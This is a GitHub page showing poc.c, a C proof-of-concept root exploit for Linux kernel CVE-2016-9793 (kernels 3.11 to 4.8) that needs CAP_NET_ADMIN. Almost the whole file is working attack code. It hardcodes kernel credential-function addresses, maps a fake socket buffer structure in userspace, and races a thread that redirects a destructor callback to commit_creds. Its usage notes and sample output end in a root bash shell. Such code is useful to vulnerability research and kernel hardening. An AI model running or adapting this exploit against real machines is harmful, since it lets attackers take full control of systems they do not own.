-
Notifications
You must be signed in to change notification settings - Fork 1.7k
/
poc.c
executable file
·176 lines (146 loc) · 4.31 KB
/
poc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <[email protected]>
#define _GNU_SOURCE
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;
void get_root(void) {
commit_creds(prepare_kernel_cred(0));
}
struct ubuf_info_t {
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
uint64_t ctx; // void *
uint64_t desc; // unsigned long
};
struct skb_shared_info_t {
uint8_t nr_frags; // unsigned char
uint8_t tx_flags; // __u8
uint16_t gso_size; // unsigned short
uint16_t gso_segs; // unsigned short
uint16_t gso_type; // unsigned short
uint64_t frag_list; // struct sk_buff *
uint64_t hwtstamps; // struct skb_shared_hwtstamps
uint32_t tskey; // u32
uint32_t ip6_frag_id; // __be32
uint32_t dataref; // atomic_t
uint64_t destructor_arg; // void *
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
};
// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul
struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void* skb_thr(void* arg) {
while (1) {
skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
}
}
int sockets[2];
void *write_thr(void *arg) {
// Write blocks until setsockopt(SO_SNDBUF).
write(sockets[1], "\x5c", 1);
if (getuid() == 0) {
printf("[+] got r00t\n");
execl("/bin/bash", "bash", NULL);
perror("execl()");
}
printf("[-] something went wrong\n");
}
int main() {
void *addr;
int rv;
uint32_t sndbuf;
addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
-1, 0);
if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
perror("mmap()");
exit(EXIT_FAILURE);
}
printf("[.] userspace payload mmapped at %p\n", addr);
pthread_t skb_th;
rv = pthread_create(&skb_th, 0, skb_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] overwriting thread started\n");
rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
if (rv != 0) {
perror("socketpair()");
exit(EXIT_FAILURE);
}
printf("[.] sockets opened\n");
sndbuf = SNDBUF;
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);
pthread_t write_th;
rv = pthread_create(&write_th, 0, write_thr, NULL);
if (rv != 0) {
perror("pthread_create()");
exit(EXIT_FAILURE);
}
usleep(10000);
printf("[.] writing to socket\n");
// Wake up blocked write.
rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
&sndbuf, sizeof(sndbuf));
if (rv != 0) {
perror("setsockopt()");
exit(EXIT_FAILURE);
}
usleep(10000);
close(sockets[0]);
close(sockets[1]);
return 0;
}